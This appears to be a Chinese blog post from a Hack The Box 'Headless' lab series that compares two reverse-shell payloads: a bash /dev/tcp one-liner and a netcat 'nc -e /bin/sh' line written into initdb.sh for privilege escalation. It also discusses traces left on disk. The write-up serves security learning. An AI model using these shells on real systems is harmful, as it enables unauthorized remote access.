iT邦幫忙

2024 iThome 鐵人賽

DAY 28
0
Security

HTB_Headless系列 第 28

[番外07]兩個Payload的差異

  • 分享至 

  • xImage
  •  

在Headless中,一共建立兩次Reverse Shell,並且使用不同的Payload。

今天來研究一下,這兩個Payload的主要差異:

  1. [Day 9]將Payload注入受害者主機,並在對方的環境中執行
/bin/bash -c 'exec bash -i >& /dev/tcp/[your_IP]/1111 0>&1'
  1. [Day 12]將Payload注入initdb.sh,透過執行有漏洞的文件(syscheck)間接成功執行Payload
  • .sh 是一種 Shell 腳本文件,用於執行 Shell 命令,適合用於自動化和系統管理任務。需要有執行權限才能被執行。
echo "nc -e /bin/sh [your_IP] 1212" > initdb.sh
chmod +x initdb.sh

主要差異

方法:

第一個 payload: 直接在命令行中執行,利用 Bash 的 /dev/tcp 特性創建反向 shell 連接。
第二個 payload: 生成一個腳本,腳本內部使用 Netcat (nc) 創建反向 shell 連接。

執行方式:

第一個 payload: 立即執行,不需要生成額外的文件。
第二個 payload: 需要先執行 echo 命令來生成 initdb.sh 文件,然後再執行這個腳本。

需求:

第一個 payload: 依賴於 Bash 支持 /dev/tcp 的特性,這在某些系統或 Bash 版本中可能不可用。
第二個 payload: 依賴於 Netcat 工具,且需要腳本有執行權限。

可見性:

第一個 payload: 執行命令時,無需創建持久文件。
第二個 payload: 生成一個可見的腳本文件 initdb.sh,這可能會在系統上留下痕跡。

總結

兩個 payload 都是用來建立反向 shell 連接,但它們的實現方式不同。第一個 payload 直接利用 Bash 的功能來建立連接,而第二個 payload 則創建一個腳本來實現相同的目標。選擇哪個 payload 取決於系統環境和特定需求。


上一篇
[番外06]netcat v.s Nmap
下一篇
[番外08]Metasploit
系列文
HTB_Headless30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言